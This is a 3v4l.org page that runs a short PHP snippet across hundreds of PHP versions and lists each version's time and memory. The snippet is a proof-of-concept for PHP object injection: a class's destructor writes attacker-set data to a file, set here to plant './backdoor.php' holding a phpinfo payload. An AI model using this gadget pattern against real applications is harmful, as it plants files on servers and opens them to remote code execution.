3v4l.org

run code in 300+ PHP versions simultaneously
<?php Class some_class { //Public $logfile = “./log/bla.log”; //Public $data = “THIS IS TEMP”; Public function log(){ //File_put_contents($this->logfile, $this->data); } Public function __destruct() { $this->log(); } } $a = new some_class; $a->logfile = "./backdoor.php"; $a->data = "<?phpinfo();"; serialize($a);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0000.01416.88
8.3.50.0080.01122.75
8.3.40.0120.00318.88
8.3.30.0080.00519.00
8.3.20.0040.00420.29
8.3.10.0080.00023.63
8.3.00.0080.00019.50
8.2.180.0120.00616.50
8.2.170.0140.00322.96
8.2.160.0080.00620.52
8.2.150.0040.00424.18
8.2.140.0080.00024.66
8.2.130.0070.00026.16
8.2.120.0040.00420.99
8.2.110.0060.00320.37
8.2.100.0120.00317.78
8.2.90.0040.00719.17
8.2.80.0040.00417.97
8.2.70.0040.00417.50
8.2.60.0040.00417.88
8.2.50.0040.00418.07
8.2.40.0000.00919.76
8.2.30.0030.00618.01
8.2.20.0030.00617.69
8.2.10.0060.00317.99
8.2.00.0040.00417.63
8.1.280.0110.00725.92
8.1.270.0080.00023.98
8.1.260.0040.00426.35
8.1.250.0070.00028.09
8.1.240.0060.00322.48
8.1.230.0070.00420.85
8.1.220.0060.00317.74
8.1.210.0030.00518.77
8.1.200.0060.00317.35
8.1.190.0040.00417.23
8.1.180.0000.00818.10
8.1.170.0040.00418.37
8.1.160.0020.00521.91
8.1.150.0000.00718.88
8.1.140.0040.00417.39
8.1.130.0040.00417.84
8.1.120.0050.00317.31
8.1.110.0050.00317.38
8.1.100.0000.00717.29
8.1.90.0040.00417.41
8.1.80.0030.00317.38
8.1.70.0000.00717.40
8.1.60.0000.00817.62
8.1.50.0030.00517.57
8.1.40.0000.00817.54
8.1.30.0040.00417.54
8.1.20.0080.00017.55
8.1.10.0000.00817.40
8.1.00.0050.00317.47
8.0.300.0060.00318.77
8.0.290.0000.00716.75
8.0.280.0030.00318.32
8.0.270.0000.00717.11
8.0.260.0000.00817.19
8.0.250.0050.00316.91
8.0.240.0050.00316.89
8.0.230.0070.00016.77
8.0.220.0000.00816.80
8.0.210.0000.00716.70
8.0.200.0060.00016.75
8.0.190.0030.00516.87
8.0.180.0030.00616.81
8.0.170.0040.00416.80
8.0.160.0000.00716.83
8.0.150.0000.00716.66
8.0.140.0030.00516.79
8.0.130.0000.00613.22
8.0.120.0040.00416.80
8.0.110.0000.00716.75
8.0.100.0040.00416.88
8.0.90.0000.00716.79
8.0.80.0100.01016.88
8.0.70.0040.00416.87
8.0.60.0040.00416.80
8.0.50.0070.00016.90
8.0.30.0090.01116.98
8.0.20.0090.00917.40
8.0.10.0070.00016.84
8.0.00.0050.01216.83
7.4.330.0060.00015.00
7.4.320.0060.00016.44
7.4.300.0000.00716.53
7.4.290.0050.00216.52
7.4.280.0060.00316.57
7.4.270.0070.00016.41
7.4.260.0030.00616.52
7.4.250.0040.00416.44
7.4.240.0040.00416.50
7.4.230.0040.00416.58
7.4.220.0100.00716.60
7.4.210.0090.00616.68
7.4.200.0000.00716.30
7.4.160.0070.01016.37
7.4.150.0060.01217.40
7.4.140.0120.00517.86
7.4.130.0120.00816.45
7.4.120.0100.00716.50
7.4.110.0120.00616.59
7.4.100.0030.01416.54
7.4.90.0140.00416.52
7.4.80.0110.00819.39
7.4.70.0180.00016.46
7.4.60.0130.00616.47
7.4.50.0040.00016.30
7.4.40.0090.01316.54
7.4.30.0090.00716.50
7.4.10.0040.01416.26
7.4.00.0090.00615.72
7.3.330.0000.00513.20
7.3.320.0030.00313.16
7.3.310.0070.00016.27
7.3.300.0000.00616.36
7.3.290.0000.01316.30
7.3.280.0070.01116.22
7.3.270.0100.00717.40
7.3.260.0040.01416.20
7.3.250.0100.00716.32
7.3.240.0130.00316.57
7.3.230.0050.01116.39
7.3.210.0120.00916.26
7.3.200.0080.00819.39
7.3.190.0040.00316.20
7.3.180.0090.00616.62
7.3.170.0130.01016.41
7.3.160.0100.00716.51
7.3.130.0030.01516.45
7.3.120.0090.00916.39
7.3.110.0070.01016.39
7.3.100.0090.00616.30
7.3.90.0040.01116.25
7.3.80.0030.01216.21
7.3.70.0040.01216.12
7.3.60.0060.00916.38
7.3.50.0070.01016.40
7.3.40.0110.00416.18
7.3.30.0040.01116.38
7.3.20.0060.01218.15
7.3.10.0080.00618.06
7.3.00.0030.01018.10
7.2.330.0070.01016.49
7.2.320.0120.00916.71
7.2.310.0060.01016.34
7.2.300.0030.01316.70
7.2.290.0060.01016.56
7.2.260.0130.00716.42
7.2.250.0030.01416.66
7.2.240.0070.00716.73
7.2.230.0100.00316.45
7.2.220.0130.00316.28
7.2.210.0130.00616.19
7.2.200.0070.01016.33
7.2.190.0110.00316.71
7.2.180.0070.01116.39
7.2.170.0060.00616.45
7.2.160.0070.00716.64
7.2.150.0090.00618.23
7.2.140.0040.01118.11
7.2.130.0130.00318.41
7.2.120.0080.00818.42
7.2.110.0030.00718.38
7.2.100.0060.00618.50
7.2.90.0030.00718.27
7.2.80.0030.01318.21
7.2.70.0060.00618.37
7.2.60.0090.00618.34
7.2.50.0100.00718.37
7.2.40.0080.00818.30
7.2.30.0130.00618.54
7.2.20.0000.01518.17
7.2.10.0060.00618.21
7.2.00.0040.01218.15
7.1.330.0060.01017.36
7.1.320.0030.01417.23
7.1.310.0040.00717.38
7.1.300.0030.01317.24
7.1.290.0080.00417.30
7.1.280.0040.01217.52
7.1.270.0130.00317.46
7.1.260.0100.00317.18
7.1.250.0040.00817.22
7.1.240.0030.01017.43
7.1.230.0130.00017.21
7.1.220.0030.00717.42
7.1.210.0040.01117.26
7.1.200.0000.01017.19
7.1.190.0070.01017.24
7.1.180.0030.01317.26
7.1.170.0000.01017.25
7.1.160.0030.01217.39
7.1.150.0060.00317.08
7.1.140.0040.01117.19
7.1.130.0090.00617.25
7.1.120.0100.00017.22
7.1.110.0070.01117.25
7.1.100.0100.00717.35
7.1.90.0100.00717.33
7.1.80.0130.00317.29
7.1.70.0040.00517.13
7.1.60.0100.01118.40
7.1.50.0020.01417.10
7.1.40.0070.00717.38
7.1.30.0000.00917.31
7.1.20.0000.01517.14
7.1.10.0120.00317.36
7.1.00.0070.03719.86
7.0.330.0040.00816.96
7.0.320.0070.00716.83
7.0.310.0030.00616.98
7.0.300.0080.00016.95
7.0.290.0090.00617.18
7.0.280.0060.00616.98
7.0.270.0130.00316.91
7.0.260.0070.01016.98
7.0.250.0070.01417.04
7.0.240.0090.01217.15
7.0.230.0030.01117.26
7.0.220.0090.00617.02
7.0.210.0000.01117.06
7.0.200.0110.00715.89
7.0.190.0030.01217.11
7.0.180.0090.00317.02
7.0.170.0060.00316.91
7.0.160.0120.00316.87
7.0.150.0030.01416.77
7.0.140.0030.04019.53
7.0.130.0000.01416.85
7.0.120.0040.01117.02
7.0.110.0270.03918.46
7.0.100.0060.03818.33
7.0.90.0050.04818.50
7.0.80.0250.03618.57
7.0.70.0060.04318.45
7.0.60.0330.01618.37
7.0.50.0060.02318.43
7.0.40.0080.04317.24
7.0.30.0080.02517.29
7.0.20.0060.04517.36
7.0.10.0060.04517.32
7.0.00.0130.02517.33
5.6.400.0090.00616.10
5.6.390.0080.00415.78
5.6.380.0070.01015.95
5.6.370.0090.00616.04
5.6.360.0040.00815.95
5.6.350.0040.00715.77
5.6.340.0030.01216.01
5.6.330.0030.01616.16
5.6.320.0100.00316.02
5.6.310.0110.00415.93
5.6.300.0040.01116.02
5.6.290.0030.00715.93
5.6.280.0040.04318.60
5.6.270.0000.01616.01
5.6.260.0050.03118.38
5.6.250.0100.03318.17
5.6.240.0090.03918.23
5.6.230.0060.04518.14
5.6.220.0080.04218.26
5.6.210.0080.03018.17
5.6.200.0070.02218.24
5.6.190.0050.02318.45
5.6.180.0040.04618.22
5.6.170.0080.02518.35
5.6.160.0040.03918.36
5.6.150.0070.03918.39
5.6.140.0060.02618.25
5.6.130.0060.04318.29
5.6.120.0050.03418.28
5.6.110.0080.03318.24
5.6.100.0060.03718.30
5.6.90.0100.03318.22
5.6.80.0090.03517.89
5.6.70.0120.03317.83
5.6.60.0050.03018.06
5.6.50.0020.02517.79
5.6.40.0060.03617.83
5.6.30.0050.04317.78
5.6.20.0100.02817.99
5.6.10.0050.02217.89
5.6.00.0030.02217.96
5.5.380.0030.04016.54
5.5.370.0090.03316.46
5.5.360.0080.03716.58
5.5.350.0100.04016.64
5.5.340.0050.04516.84
5.5.330.0090.03616.87
5.5.320.0020.03216.73
5.5.310.0060.02516.92
5.5.300.0090.03116.85
5.5.290.0050.02817.01
5.5.280.0050.02016.92
5.5.270.0100.03416.85
5.5.260.0050.04916.84
5.5.250.0100.02016.90
5.5.240.0080.02716.65
5.5.230.0070.04016.62
5.5.220.0060.02316.54
5.5.210.0080.02016.57
5.5.200.0030.02516.63
5.5.190.0100.04016.59
5.5.180.0040.04116.66
5.5.170.0000.01515.75
5.5.160.0120.01516.53
5.5.150.0050.04216.30
5.5.140.0030.02916.63
5.5.130.0080.02116.54
5.5.120.0080.04316.50
5.5.110.0100.04016.52
5.5.100.0050.01816.50
5.5.90.0020.02216.62
5.5.80.0000.02316.30
5.5.70.0000.02816.39
5.5.60.0060.02016.53
5.5.50.0020.02316.48
5.5.40.0060.01816.46
5.5.30.0030.02616.53
5.5.20.0040.02116.46
5.5.10.0070.02216.58
5.5.00.0020.02816.49
5.4.450.0020.04916.12
5.4.440.0060.03816.02
5.4.430.0070.03816.02
5.4.420.0020.03216.17
5.4.410.0060.04015.98
5.4.400.0130.01815.85
5.4.390.0060.02715.86
5.4.380.0050.03015.77
5.4.370.0020.02015.67
5.4.360.0110.03715.97
5.4.350.0060.01615.97
5.4.340.0030.03015.66
5.4.330.0030.00312.44
5.4.320.0030.03815.86
5.4.310.0050.03515.76
5.4.300.0020.02215.82
5.4.290.0130.02815.92
5.4.280.0070.04515.85
5.4.270.0090.02015.64
5.4.260.0070.03915.84
5.4.250.0050.03415.80
5.4.240.0050.03515.76
5.4.230.0040.02415.82
5.4.220.0040.02515.82
5.4.210.0060.01815.71
5.4.200.0030.02015.80
5.4.190.0000.02216.02
5.4.180.0020.02215.82
5.4.170.0030.02315.88
5.4.160.0020.02615.72
5.4.150.0080.02015.79
5.4.140.0020.02514.65
5.4.130.0050.01814.54
5.4.120.0020.02014.36
5.4.110.0020.01914.49
5.4.100.0050.02114.47
5.4.90.0060.02814.62
5.4.80.0070.01314.46
5.4.70.0070.01614.47
5.4.60.0050.01914.52
5.4.50.0020.02214.49
5.4.40.0070.01314.73
5.4.30.0050.01714.50
5.4.20.0040.02114.45
5.4.10.0020.02114.60
5.4.00.0090.01514.21
5.3.290.0070.03314.76
5.3.280.0070.03314.59
5.3.270.0130.03014.61
5.3.260.0070.02714.75
5.3.250.0100.02314.75
5.3.240.0000.04014.61
5.3.230.0030.03014.57
5.3.220.0000.04014.69
5.3.210.0100.03014.56
5.3.200.0030.03014.54
5.3.190.0070.03014.64
5.3.180.0070.02714.55
5.3.170.0030.03014.70
5.3.160.0000.03714.79
5.3.150.0030.03014.55
5.3.140.0030.03014.53
5.3.130.0000.03314.68
5.3.120.0030.04014.67
5.3.110.0170.02714.69
5.3.100.0030.03714.27
5.3.90.0070.03314.15
5.3.80.0070.03014.01
5.3.70.0030.03013.98
5.3.60.0000.03314.14
5.3.50.0030.03014.01
5.3.40.0030.03714.07
5.3.30.0070.02714.13
5.3.20.0030.02713.70
5.3.10.0000.03013.61
5.3.00.0030.05313.50
5.2.170.0030.02712.16
5.2.160.0030.02312.16
5.2.150.0030.02312.16
5.2.140.0000.02712.16
5.2.130.0000.03312.16
5.2.120.0030.02312.16
5.2.110.0070.02312.16
5.2.100.0070.02012.16
5.2.90.0070.02012.16
5.2.80.0070.02012.16
5.2.70.0000.03012.16
5.2.60.0030.02312.16
5.2.50.0030.02312.16
5.2.40.0000.02712.16
5.2.30.0000.03012.16
5.2.20.0070.02012.16
5.2.10.0030.02312.16
5.2.00.0000.05312.16
5.1.60.0070.04712.16
5.1.50.0030.05312.16
5.1.40.0070.04712.16
5.1.30.0000.03312.16
5.1.20.0100.04312.16
5.1.10.0100.04712.16
5.1.00.0130.04712.16
5.0.50.0030.04312.16
5.0.40.0000.04312.16
5.0.30.0130.05012.16
5.0.20.0030.02312.16
5.0.10.0000.02712.16
5.0.00.0030.04712.16
4.4.90.0100.00712.16
4.4.80.0000.01712.16
4.4.70.0000.01312.16
4.4.60.0000.01312.16
4.4.50.0030.01012.16
4.4.40.0030.04312.16
4.4.30.0000.03712.16
4.4.20.0000.02712.16
4.4.10.0030.02312.16
4.4.00.0030.04712.16
4.3.110.0070.03012.16
4.3.100.0000.03712.16
4.3.90.0070.01312.16
4.3.80.0000.03312.16
4.3.70.0000.01712.16
4.3.60.0000.01712.16
4.3.50.0000.03012.16
4.3.40.0070.04712.16
4.3.30.0000.02312.16
4.3.20.0030.03012.16
4.3.10.0030.03312.16
4.3.00.0000.03312.16

preferences:
50.14 ms | 401 KiB | 5 Q